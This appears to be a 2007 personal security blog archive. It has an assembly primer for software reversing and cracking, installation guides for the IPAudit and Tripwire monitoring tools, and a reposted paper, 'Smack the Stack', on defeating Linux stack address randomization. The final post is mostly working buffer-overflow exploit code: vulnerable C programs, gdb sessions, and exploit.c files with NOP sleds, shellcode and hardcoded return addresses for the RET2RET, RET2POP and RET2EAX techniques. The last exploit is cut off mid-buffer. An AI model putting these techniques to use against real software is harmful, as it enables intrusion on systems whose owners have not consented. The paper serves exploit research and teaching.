Tuesday, September 18, 2007

Assembly,The Basic of Reversing

Indeed: the basics!! This is all far from complete but covers about everything you need to know about assembler to start on your reversing journey! Assembler is the start and the end of all programming languages. After all, all languages are translated to assembler. In most languages we deal with relatively clear syntaxes. However, it's a completely other story in assembler where we use abbreviations and numbers and where it all seems so weird …

I. Pieces, bits and bytes:

• BIT - The smallest possible piece of data. It can be either a 0 or a 1. If you put a bunch of bits together, you end up in the 'binary number system'

i.e. 00000001 = 1 00000010 = 2 00000011 = 3 etc.

• BYTE - A byte consists of 8 bits. It can have a maximal value of 255 (0-255). To make it easier to read binary numbers, we use the 'hexadecimal number system'. It's a 'base-16 system', while binary is a 'base-2 system'

• WORD - A word is just 2 bytes put together or 16 bits. A word can have a maximal value of 0FFFFh (or 65535d).

• DOUBLE WORD - A double word is 2 words together or 32 bits. Max value = 0FFFFFFFF (or 4294967295d).

• KILOBYTE - 1000 bytes? No, a kilobyte does NOT equal 1000 bytes! Actually, there are 1024 (32*32) bytes.

• MEGABYTE - Again, not just 1 million bytes, but 1024*1024 or 1,048,578 bytes.

II. Registers:

Registers are “special places” in your computer's memory where we can store data. You can see a register as a little box, wherein we can store something: a name, a number, a sentence. You can see a register as a placeholder.

On today’s average WinTel CPU you have 9 32bit registers (w/o flag registers). Their names are:

EAX: Extended Accumulator Register
EBX: Extended Base Register
ECX: Extended Counter Register
EDX: Extended Data Register
ESI: Extended Source Index
EDI: Extended Destination Index
EBP: Extended Base Pointer
ESP: Extended Stack Pointer
EIP: Extended Instruction Pointer

Generally the size of the registers is 32bit (=4 bytes). They can hold data from 0-FFFFFFFF (unsigned). In the beginning most registers had certain main functions which the names imply, like ECX = Counter, but in these days you can - nearly - use whichever register you like for a counter or stuff (only the self defined ones, there are counter-functions which need to be used with ECX). The functions of EAX, EBX, ECX, EDX, ESI and EDI will be explained when I explain certain functions that use those registers. So, there are EBP, ESP, EIP left:

EBP: EBP has mostly to do with stack and stack frames. Nothing you really need to worry about, when you start. ;)

ESP: ESP points to the stack of a current process. The stack is the place where data can be stored for later use (for more information, see the explanation of the push/pop instructions)

EIP: EIP always points to the next instruction that is to be executed.


There's one more thing you have to know about registers: although they are all 32bits large, some parts of them (16bit or even 8bit) can not be addressed directly.

The possibilities are:










A register looks generally this way:






So, EAX is the name of the 32bit register, AX is the name of the "Low Word" (16bit) of EAX and AL/AH (8bit) are the “names” of the "Low Part" and “High Part” of AX. BTW, 4 bytes is 1 DWORD, 2 bytes is 1 WORD.

REMARK: make sure you at least read the following about registers. It’s quite practical to know it although not that important.

All this makes it possible for us to make a distinction regarding size:

• i. byte-size registers: As the name says, these registers all exactly 1 byte in size. This does not mean that the whole (32bit) register is fully loaded with data! Eventually empty spaces in a register are just filled with zeroes. These are the byte-sized registers, all 1 byte or 8 bits in size:

o AL and AH
o BL and BH
o CL and CH
o DL and DH


• ii. word-size registers: Are 1 word (= 2 bytes = 16 bits) in size. A word-sized register is constructed of 2 byte-sized registers. Again, we can divide these regarding their purpose:

1.general purpose registers:

AX (word-sized) = AH + AL -> the '+' does *not* mean: 'add them up'. AH and AL exist independently, but together they form AX. This means that if you change AH or AL (or both), AX will change too!

-> 'accumulator': used to mathematical operations, store strings,..

BX -> 'base': used in conjunction with the stack (see later)

CX -> 'counter'

DX -> 'data': mostly, here the remainder of mathematical operations is stored

DI -> 'destination index': i.e. a string will be copied to DI

SI -> 'source index': i.e. a string will be copied from SI

2.index registers:

BP -> 'base pointer': points to a specified position on the stack (see later)
SP -> 'stack pointer': points to a specified position on the stack (see later)

3. segment registers:

CS -> 'code segment': instructions an application has to execute (see later)
DS -> 'data segment': the data your application needs (see later)
ES -> 'extra segment': duh! (see later)
SS -> 'stack segment': here we'll find the stack (see later)

4.special:

IP -> 'instruction pointer': points to the next instruction. Just leave it alone ;)

• iii. Doubleword-size registers:

2 words = 4 bytes = 32 bits. EAX, EBX, ECX, EDX, EDI…

If you find an 'E' in front of a 16-bits register, it means that you are dealing with a 32-bits register. So, AX = 16-bits; EAX = the 32-bits version of EAX.

III. The flags:

Flags are single bits which indicate the status of something. The flag register on modern 32bit CPUs is 32bit large. There are 32 different flags, but don't worry. You will mostly only need 3 of them in reversing. The Z-Flag, the O-Flag and the C-Flag. For reversing you need to know these flags to understand if a jump is executed or not. This register is in fact a collection of different 1-bit flags. A flag is a sign, just like a green light means: 'ok' and a red one 'not ok'. A flag can only be '0' or '1', meaning 'not set' or 'set'.

• The Z-Flag:
The Z-Flag (zero flag) is the most useful flag for cracking. It is used in about 90% of all cases. It can be set (status: 1) or cleared (status: 0) by several opcodes when the last instruction that was performed has 0 as result. You might wonder why "CMP" (more on this later) could set the zero flag, because it compares something - how can the result of the comparison be 0? The answer on this comes later ;)

• The O-Flag:
The O-Flag (overflow flag) is used in about 4% of all cracking attempts. It is set (status: 1) when the last operation changed the highest bit of the register that gets the result of an operation. For example: EAX holds the value 7FFFFFFF. If you use an operation now, which increases EAX by 1 the O-Flag would be set, because the operation changed the highest bit of EAX (which is not set in 7FFFFFFF, but set in 80000000 - use calc.exe to convert hexadecimal values to binary values). Another need for the O-Flag to be set, is that the value of the destination register is neither 0 before the instruction nor after it.

• The C-Flag:
The C-Flag (Carry flag) is used in about 1% of all cracking attempts. It is set, if you add a value to a register, so that it gets bigger than FFFFFFFF or if you subtract a value, so that the register value gets smaller than 0.

Best Regards,

Meghdad Shamsaei

Wednesday, September 5, 2007

IPAudit on your Server

IPAudit is a tool that will allow you to analyze all packets entering and leaving your network. It listens to a network device in promiscuous mode, just as an IDS sensor would, and provides details on hosts, ports, and protocols. It can be used to monitor bandwidth, connection pairs, detect compromises, discover botnets, and see whos scanning your network.

Installing and Configuring you IPAudit

IPAudit is a perl-based application and you can dowload it`s web base source file from here.
But first,you need to install some packege.

These package are: Libpcap Zlib,Libpng,gnuplot and perl time module.You can download this four last package from here.

After you install this package now you can install IPAudit.

Now you can make these line to Install IPAudit:

Useradd ipaudit

su ipaudit

cd /home/ipaudit

# tar zxvf ipaudit-web-1.0BETA9.tar.gz

cd ipaudit-web-1.0BETA9/compile

./configure

make

su root

make install

make install-cron

exit(Leave root and become ipaudit user again)

vi /home/ipaudit/ipaudit-web.conf

Change LOCALRANGE=127.0.0. and INTERFACE=eth1 as your favorite



Now you must add these lines to your httpd.conf file.













Now access to http://*your web server*/~ipaudit/

If your installation was successful you should now see a screen like this :














IPAudit's "Network Reports" are useful for many reasons. The thirty-minute and daily reports are exactly the same, except of course for the timeframe. By clicking on the link labeled "-last-" next to the "30min" link you will see the report for the last 30 minutes.



Have a fun

Best regards

Meghdad Shamsaei

Wednesday, August 8, 2007

Install Tripwire on Fedora or Redhat AS4

Maybe once you secured your files and file systems,and now you need to ensure they stay that way.Tripwire is one of the best thing.Tripwire work on a policy-compliance model.You need to configure a policy covering all the objects you want to monitor and the changes to these objects in which you are interested.Taking this policy, Tripwire then initializes and generates a baseline database of all the file and objects covered by this policy. You next schedule a regular scan of the system, and if Tripwire detects a variation from the baseline, then it will be reported.This is in addition to the open-source version available at http://sourceforge.net/projects/tripwire/ and the commercial version available at the Tripwire site,http://www.tripwire.com. These branched versions of Tripwire tend to have subtle differences. Usually these differences are aimed at addressing the idiosyncrasies of a particular distribution; for example, the Tripwire version available for Red Hat moves and renames some commands to bring Tripwire in line with Red Hat’s conventions.Meanwhile I recommend you that first install the prerequisit of Tripwire.This requires are in follow:

In Fedora:

libstdc++.so.6(GLIBCXX_3.4)
libcrypto.so.6
libc.so.6(GLIBC_2.0)
libstdc++.so.6(CXXABI_1.3.1)
/bin/sh
rpmlib(PayloadFilesHavePrefix) <= 4.0-1
config(tripwire) = 2.4.1.1-1.fc5
libgcc_s.so.1(GLIBC_2.0)
libm.so.6(GLIBC_2.0)
libm.so.6
rpmlib(CompressedFileNames) <= 3.0.4-1
libstdc++.so.6
libc.so.6(GLIBC_2.1)
libgcc_s.so.1
sed
libc.so.6(GLIBC_2.1.3)
libgcc_s.so.1(GCC_3.0)
libstdc++.so.6(CXXABI_1.3)
libc.so.6

and in Redhat AS4:

libstdc++.so.6(GLIBCXX_3.4)
config(tripwire) = 2.3.1-22
libc.so.6(GLIBC_2.0)
gawk
/bin/sh
rpmlib(PayloadFilesHavePrefix) <= 4.0-1
libgcc_s.so.1(GLIBC_2.0)
libcrypto.so.4
grep
libm.so.6(GLIBC_2.0)
libm.so.6
tar
gzip
rpmlib(CompressedFileNames) <= 3.0.4-1
libstdc++.so.6
libc.so.6(GLIBC_2.1)
libgcc_s.so.1
sed
libc.so.6(GLIBC_2.1.3)
libgcc_s.so.1(GCC_3.0)
libstdc++.so.6(CXXABI_1.3)
libc.so.6

Now to install it use this command:
# rpm -Uvh tripwire-2.3.1-20.fdr.1.2.i386.rpm

TIP :: So, when do you install and initialize Tripwire? Well, I recommend you to install and initialize Tripwire after you have installed your operating system and applications and have applied any updates or patches but before you have connected your system to a production network. This ensures Tripwire can be configured with all the required files and binaries being monitored and reduces the risk that an attacker could penetrate your system before you enable Tripwire.

Configuring Tripwire

In this section, you will see the base Tripwire configuration, and then I will show you how to initialize and run Tripwire. As you are going to configure Tripwire using the Red Hat Fedora RPM, some of the configuration options, especially their naming conventions, may differ from other versions of Tripwire. This is especially true of the source tarball version where many configuration options differ.

After installing Tripwire, the configuration for the tool will be installed into the
/etc/tripwire directory in the form of two files: twcfg.txt and twpol.txt. The twcfg.txt file contains the default configuration for Tripwire, including the location of the Tripwire binaries and policies. The twpol.txt file contains the Tripwire policy that tells Tripwire what to monitor.

Tripwire twcfg.txt

ROOT = /usr/sbin
POLFILE =/etc/tripwire/tw.pol
DBFILE = /var/lib/tripwire/$(HOSTNAME).twd
REPORTFILE = /var/lib/tripwire/report/$(HOSTNAME)-$(DATE).twr
SITEKEYFILE = /etc/tripwire/site.key

Explaining Tripwire Policy

The twpol.txt file is the input file for the Tripwire policy for your host. This file will be used to create a proprietary file called a policy file. The policy determines what files and objects Tripwire will monitor for changes. It also specifies exactly what changes to those files and objects it will monitor. The RPM you have installed comes with a default policy. This policy is designed to monitor Red Hat Fedora systems. If you are running Tripwire on a different distribution, it may have come with a sample policy of its own. Either way you will need to change the policy to reflect exactly what objects you want to monitor on your system. I recommend you at least monitor important operating system files and directories, logging files, and the configuration files and binaries of your applications. Let’s look at the twpol.txt file. The file contains two types of items. It contains the directives and the rules that identify the individual files, and it contains the objects Tripwire is monitoring.

Tripwire Rules

A Tripwire rule is defined as a file or directory name and a property mask separated by the symbols ->. Additionally, it can have some optional rule attributes.

Tripwire Rule Structure

filename -> property mask (rule attribute = value);

Let’s look at each part of the Tripwire rule. The first portion of the rule is the file or object you want to monitor. This could be a single file or an entire directory. If you specify a directory,then Tripwire will monitor the properties of that directory and the entire contents of that directory.You can have only one rule per object or file. If an object has more than one rule,Tripwire will fail with an error message and not conduct any scanning.

The file or object is then separated from the property mask by a space or tab and the -> symbols, followed by another space or tab. The property mask tells Tripwire exactly what change about the file or object you want to monitor. For example, you could monitor for a change to the user who owns the file, the size of the file, or the file’s permissions. Each property is indicated by a letter prefixed with either a plus (+) sign or aminus (-) sign. For example, the following line monitors the ownership of the /etc/passwd file:

/etc/passwd -> +u;

The u is the Tripwire property for object ownership, and the plus (+) sign indicates you want to monitor this property. You can add further properties to be monitored by adding property letters to your Tripwire rule. On the next line you add the property,s, which indicates file size:

/etc/passwd -> +su;

Now Tripwire will monitor for any changes to the /etc/passwd file’s ownership and its size.

Tripwire Property Masks

Property--------Description
a------------------Access time stamp.
b------------------Number of blocks.
c------------------Inode time stamp.
d------------------ID of the device on which the inode resides.
g------------------Owning group.
i------------------Inode number.
l------------------File increases in size.
m------------------Modification time stamp.
n------------------Number of links to the object.
p------------------Permissions.
r------------------ID of the device pointed to by inode. Valid only for device type objects.
s------------------File size.
t------------------File type.
u------------------Object owner.
C------------------CRC-32 hash value.
H------------------Haval hash value.
M------------------MD5 hash value.
S------------------SHA hash value.

The minus (-) sign prefixing a property indicates that you do not want to monitor for that property. In the next line I am monitoring the /etc/passwd file for its ownership and size, but I have explicitly told Tripwire that I do not care about its last modification time stamp.

/etc/passwd -> +su-m;

In addition to the individual properties you can monitor for, you can also use property summaries. These property summaries are variables that represent particular combinations of properties. For example, Tripwire has a built-in property summary called $(Device), which contains the recommended properties for devices (or other types of files that Tripwire should not try to open). On the next line you can see the $(Device) property summary in a rule:

/dev/mapper/safe -> $(Device);

As I have described, each property summary represents different combinations of properties.The $(Device) property summary is equivalent to setting the properties in the following rule:

/dev/mapper/safe -> +pugsdr-intlbamcCMSH;

The previous line indicates that any rule that uses the $(Device) property summary will monitor files and objects for changes to their permissions, ownership, group owner, size and device, and inode ID monitored, but all other changes will be ignored.



Initializing and Running Tripwire

After you have configured Tripwire and created a suitable policy for your system, you need to set up and initialize Tripwire. Tripwire comes with a command,tripwire-setup-keyfiles, that you can use to perform this initial setup. The command is usually located in the directory /usr/sbin.
This command will create two keyfiles: the site key that signs your configuration and policy and the local key that protects your database and reports. You will be prompted to enter passphrases for both.

# /usr/sbin/tripwire-setup-keyfiles


------------------------------------------------------------------------
The Tripwire site and local passphrases are used to sign a variety of
files, such as the configuration, policy, and database files.
Passphrases should be at least 8 characters in length and contain both
letters and numbers.See the Tripwire manual for more information.
------------------------------------------------------------------------
Creating key files...
(When selecting a passphrase, keep in mind that good passphrases typically
have upper and lower case letters, digits and punctuation marks, and are
at least 8 characters in length.)
Enter the site keyfile passphrase:
Verify the site keyfile passphrase:


The tripwire-setup-keyfiles command will also create encrypted versions of your twcfg.txt and twpol.txt files, called tw.cfg and tw.pol, respectively. These files will be signed with your new site key and are located in the /etc/tripwire directory.

Initializing the Tripwire Database

# /usr/sbin/tripwire --init


Please enter your local passphrase:
Parsing policy file: /etc/tripwire/tw.pol
Generating the database...
*** Processing Unix File System ***
Wrote database file: /var/lib/tripwire/yourosname.yourdomain.com.twd
The database was successfully generated.


The --init option initializes your Tripwire database, and you will be prompted to enter your local key passphrase to continue. The tripwire binary then parses the /etc/tripwire/tw.pol file and creates a baseline state for all the objects on your system you want to monitor.

Tripwire Integrity Check

# /usr/sbin/tripwire --check


Parsing policy file: /etc/tripwire/tw.pol
*** Processing Unix File System ***
Performing integrity check...
...
Wrote report file: /var/lib/tripwire/report/yourosname.yourdomain.com-20040926-172711.twr


The Tripwire integrity check will display the results of the check to the screen and save it as a Tripwire report file.

Printing Reports with twprint

# twprint --print-report --twrfile /var/lib/tripwire/report/yourosname.yourdomain.com20040926-172711.twr



Note: Report is not encrypted.
Tripwire(R) 2.3.0 Integrity Check Report
Report Summary:
Host name: yourosname.yourdomain.com
Host IP address: 127.0.0.1
Host ID: None
Policy file used: /etc/tripwire/tw.pol
Configuration file used: /etc/tripwire/tw.cfg
Database file used: /var/lib/tripwire/yourosname.yourdomain.com.twd
Command line used: /usr/sbin/tripwire --check
Total objects scanned: 45606
Total violations found: 1
...
Rule Name: Tripwire Data Files (/var/lib/tripwire)
Severity Level: 100
...
Modified Objects: 1
Modified object name: /var/lib/tripwire/yourosname.yourdomain.com.twd
Property: Expected Observed
* Mode -rw-r--r-- -rwxr-xr-x


Printing Tripwire Database Entry

# twprint --print-dbfile /etc/passwd


Object name: /etc/passwd
Property: Value:
------------- -----------
Object Type Regular File
Device Number 770
Inode Number 607017
Mode -rw-r--r--
Num Links 1
UID root (0)
GID root (0)


I have displayed the database entry for the file /etc/passwd using the --print-dbfile
option. If you use twprint --print-dbfile without an individual file specified, it will output the entire contents of the Tripwire database.
If you find violations in your report, you should first check if these are normal occurrences.During normal operations some files may change, be added to, or be removed from your system. You can adjust your Tripwire policy to reflect these normal changes using the tripwire command with the -update option. This option allows you to read in a report file,indicate which violations are in fact normal operational changes, and update the Tripwire policy to prevent it being triggered by these again.

Updating Tripwire Policy

# /usr/sbin/tripwire --update \ --twrfile /var/lib/tripwire/report/yourosname.yourdomain.com20040926-172711.twr



Tripwire Database Updates



Rule Name: Tripwire Data Files (/var/lib/tripwire)
Severity Level: 100
Remove the "x" from the adjacent box to prevent updating the database
with the new values for this object.
Modified:
[x] "/var/lib/tripwire/yourosname.yourdomain.com.twd"



In finally I should say that I tested all of this commands and all are OK.

Best Regards
Meghdad Shamsaei


Meghdadshamsaei@yahoo.com

Sunday, August 5, 2007

Smack the Stack .......WOW.......

From time to time, a new patch or security feature is integrated to raise the bar on buffer overflow exploiting. This paper includes five creative methods to overcome various stack protection patches, but in practical focus on the VA (Virtual Address) space randomization patch that have been integrated to Linux 2.6 kernel. These methods are not limited to this patch or another, but rather provide a different approach to the buffer overflow exploiting scheme.


VA Patch
--------

Causes certain parts of a process virtual address space to be different for each invocation of the process.
The purpose of this is to raise the bar on buffer overflow exploits. As full randomization makes it not possible to
use absolute addresses in the exploit. Randomizing the stack pointer and mmap() addresses. Which also effects where
shared libraries goes, among other things. The stack is randomized within an 8Mb range and applies to ELF binaries.
The patch intedned to be an addition to the NX support that was added to the 2.6 kernel earlier as well. This paper
however addressed it as solo.

Synchronize
-----------

My playground box is running on an x86 box, armed with Linux kernel 2.6.12.2, glibc-2.3.5 and gcc-3.3.6

Stack Juggling
--------------

Stack juggling methods take their advantages off a certain stack layout/program flow or a registers changes.
Due to the nature of these factors, they might not fit to every situation.

RET2RET
-------

This method relies on a pointer previously stored on the stack as a potential return address to the shellcode.

A potential return address is a base address of a pointer in the upper stack frame, above the saved return address.
The pointer itself is not required to point directly to the shellcode, but rather to fit a byte-alignment.

The gap between the location of the potential return address on the stack and the shellcode, padded with addresses
that contain a RET instruction. The purpose of RET will be somewhat similar to a NOP with a tweak, as each RET
performs a POP action and increase ESP by 4 bytes, and then afterward jumps to the next one. The last RET will jump to
the potential return address and will lead to the shellcode.


--- snip snip ---

/*
* vuln.c, Classical strcpy() buffer overflow
*/

#include
#include
#include
#include

int main(int argc, char **argv) {
char buf[256];
strcpy(buf, argv[1]);
return 1;
}

--- snip snip ---


Starting with determining 'buf' variable addresses range on the stack


(gdb) disassemble main
Dump of assembler code for function main:
0x08048384 : push %ebp
0x08048385 : mov %esp,%ebp
0x08048387 : sub $0x108,%esp
0x0804838d : and $0xfffffff0,%esp
0x08048390 : mov $0x0,%eax
0x08048395 : sub %eax,%esp
0x08048397 : sub $0x8,%esp
0x0804839a : mov 0xc(%ebp),%eax
0x0804839d : add $0x4,%eax
0x080483a0 : pushl (%eax)
0x080483a2 : lea 0xfffffef8(%ebp),%eax
0x080483a8 : push %eax
0x080483a9 : call 0x80482b0 <_init+56>
0x080483ae : add $0x10,%esp
0x080483b1 : mov $0x1,%eax
0x080483b6 : leave
0x080483b7 : ret
0x080483b8 : nop
0x080483b9 : nop
0x080483ba : nop
0x080483bb : nop
0x080483bc : nop
0x080483bd : nop
0x080483be : nop
0x080483bf : nop
End of assembler dump.
(gdb)


Putting a breakpoint prior to strcpy() function invocation and examining the passed pointer of 'buf' variable


(gdb) break *main+37
Breakpoint 1 at 0x80483a9
(gdb) run `perl -e 'print "A"x272'`
Starting program: /tmp/vuln `perl -e 'print "A"x272'`

Breakpoint 1, 0x080483a9 in main ()
(gdb) print (void *) $eax
$1 = (void *) 0xbffff5d0
(gdb)

Simple calculation gives 'buf' variable range [ 0xbffff6d8 - 0xbffff5d0 ] / ( 264 bytes ; 0x108h )
After establishing the target range, the search for potential return addresses in the upper stack frame begins

(gdb) x/a $ebp+8
0xbffff6e0: 0x2
(gdb) x/a $ebp+12
0xbffff6e4: 0xbffff764
(gdb) x/a $ebp+16
0xbffff6e8: 0xbffff770
(gdb) x/a $ebp+20
0xbffff6ec: 0xb800167c
(gdb) x/a $ebp+24
0xbffff6f0: 0xb7fdb000
(gdb) x/a $ebp+28
0xbffff6f4: 0xbffff6f0
(gdb)

The address [ 0xbffff6f4 ] is a pointer to [ 0xbffff6f0 ], and [ 0xbffff6f0 ] is only 24 bytes away from [ 0xbffff6d8 ]
This, after the byte-alignment conversion, will be pointing inside the target range.

The byte-alignment is a result of the trailing NULL byte, as the nature of strings in C language to be NULL terminated
combined with the IA32 (Little Endian) factor. The [ 0xbffff6f0 ] address will be changed to [ 0xbffff600 ], which in
our case saves the day and produces a return address to the shellcode.


--- snip snip ---

/*
* exploit.c, Exploits vuln.c (RET2RET)
*/

#include
#include

char evilbuf[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90"
//
"\x31\xc0" // xorl %eax, %eax
"\x31\xdb" // xorl %ebx, %ebx
"\x40" // incl %eax
"\xcd\x80" // int $0x80
//

//
"\xb7\x83\x04\x08" // RET ADDRESS / 0x080483b7 : ret
//

"\xb7\x83\x04\x08" //
"\xb7\x83\x04\x08" //
"\xb7\x83\x04\x08" // RET's x 5
"\xb7\x83\x04\x08" //
"\xb7\x83\x04\x08"; //

int main(int argc, char **argv, char **envp) {
char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}

--- snip snip ---

RET2POP
-------

This method reassembles the previous method, except it's focused on a buffer overflow within a program function scope.

Functions that take a buffer as an argument, which later on will be comprised within the function to said buffer overflow,
give a great service, as the pointer becomes the perfect potential return address. Ironically, the same byte-alignment
effect applies here as well, and thus prevents it from using it as perfect potential... but only in a case of when the
buffer argument is being passed as the 1st argument or as the only argument.


--- snip snip ---

/*
* vuln.c, Standard strcpy() buffer overflow within a function
*/

#include
#include
#include

int foobar(int x, char *str) {
char buf[256];
strcpy(buf, str);
return x;
}

int main(int argc, char **argv) {
foobar(64, argv[1]);
return 1;
}

--- snip snip ---


But when having the buffer passed as the 2nd or higher argument to the function is a whole different story.
Then it is possible to preserve the pointer, but requires a new combo.

(gdb) disassemble frame_dummy
Dump of assembler code for function frame_dummy:
0x08048350 : push %ebp
0x08048351 : mov %esp,%ebp
0x08048353 : sub $0x8,%esp
0x08048356 : mov 0x8049508,%eax
0x0804835b : test %eax,%eax
0x0804835d : je 0x8048380
0x0804835f : mov $0x0,%eax
0x08048364 : test %eax,%eax
0x08048366 : je 0x8048380
0x08048368 : sub $0xc,%esp
0x0804836b : push $0x8049508
0x08048370 : call 0x0
0x08048375 : add $0x10,%esp
0x08048378 : nop
0x08048379 : lea 0x0(%esi),%esi
0x08048380 : mov %ebp,%esp
0x08048382 : pop %ebp
0x08048383 : ret
End of assembler dump.
(gdb)

The gcc compiler will normally produce the 'LEAVE' instruction, unless the user passed the '-O2' option to gcc.
Whatever the actual program code doesn't supply, the CRT objects will. Part of the optimization issues tearing
down the 'LEAVE' instruction to pieces gives us the benefit of having the ability to use only what's needed for us.

0x08048380 : mov %ebp,%esp
0x08048382 : pop %ebp
0x08048383 : ret

The combination of POP followed by RET would result in skipping over the 1st argument and jump directly to the 2nd argument.
On top of that it would also be the final knockout punch needed to win this situation.

Because CRT objects have been included within every program, unless of course the user specified otherwise, it is a rich source
of assembly snippets that can be tweaked.


--- snip snip ---

/*
* exploit.c, Exploits vuln.c (RET2POP)
*/

#include
#include

char evilbuf[] =

//
"\x31\xc0" // xorl %eax, %eax
"\x31\xdb" // xorl %ebx, %ebx
"\x40" // incl %eax
"\xcd\x80" // int $0x80
//
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90"

//
"\x82\x83\x04\x08"; // RET ADDRESS
//
// 0x08048382 : pop %ebp
// 0x08048383 : ret
//

int main(int argc, char **argv, char **envp) {
char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}

--- snip snip ---

Snooping around the CRT functions, another powerful combination can be found inside the '__do_global_ctors_aux' implementation

0x080484cc <__do_global_ctors_aux+44>: pop %eax
0x080484cd <__do_global_ctors_aux+45>: pop %ebx
0x080484ce <__do_global_ctors_aux+46>: pop %ebp
0x080484cf <__do_global_ctors_aux+47>: ret

But that's for a whole other story ... ;-)

RET2EAX
-------

This method relies on the convention that functions uses EAX register to store the return value.

The implementation of return values from functions and syscalls is done via the EAX register. This of course
is another great service, so that a function that had buffer overflow in it is also kind enough to return back
the buffer. We have EAX that contains a perfect potential return address to the shellcode.


--- snip snip ---

/*
* vuln.c, Exotic strcpy() buffer overflow
*/

#include
#include
#include

char *foobar(char *str) {
char *ptr, buf[256];
ptr = strcpy(buf, str);
return ptr;
}

int main(int argc, char **argv) {
foobar(argv[1]);
return 1;
}

--- snip snip ---

Again we return to the CRT function for salvation

(gdb) disassemble __do_global_ctors_aux
Dump of assembler code for function __do_global_ctors_aux:
0x080484a0 <__do_global_ctors_aux+0>: push %ebp
0x080484a1 <__do_global_ctors_aux+1>: mov %esp,%ebp
0x080484a3 <__do_global_ctors_aux+3>: push %ebx
0x080484a4 <__do_global_ctors_aux+4>: push %edx
0x080484a5 <__do_global_ctors_aux+5>: mov 0x80494f8,%eax
0x080484aa <__do_global_ctors_aux+10>: cmp $0xffffffff,%eax
0x080484ad <__do_global_ctors_aux+13>: mov $0x80494f8,%ebx
0x080484b2 <__do_global_ctors_aux+18>: je 0x80484cc <__do_global_ctors_aux+44>
0x080484b4 <__do_global_ctors_aux+20>: lea 0x0(%esi),%esi
0x080484ba <__do_global_ctors_aux+26>: lea 0x0(%edi),%edi
0x080484c0 <__do_global_ctors_aux+32>: sub $0x4,%ebx
0x080484c3 <__do_global_ctors_aux+35>: call *%eax
0x080484c5 <__do_global_ctors_aux+37>: mov (%ebx),%eax
0x080484c7 <__do_global_ctors_aux+39>: cmp $0xffffffff,%eax
0x080484ca <__do_global_ctors_aux+42>: jne 0x80484c0 <__do_global_ctors_aux+32>
0x080484cc <__do_global_ctors_aux+44>: pop %eax
0x080484cd <__do_global_ctors_aux+45>: pop %ebx
0x080484ce <__do_global_ctors_aux+46>: pop %ebp
0x080484cf <__do_global_ctors_aux+47>: ret
End of assembler dump.
(gdb)

The abstract implementation of '__do_global_ctors_aux' includes a sweet CALL instruction. And wins this match!


--- snip snip ---

/*
* exploit.c, Exploits vuln.c (RET2EAX)
*/

#include
#include

char evilbuf[] =

//
"\x31\xc0" // xorl %eax, %eax
"\x31\xdb" // xorl %ebx, %ebx
"\x40" // incl %eax
"\xcd\x80" // int $0x80
//
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
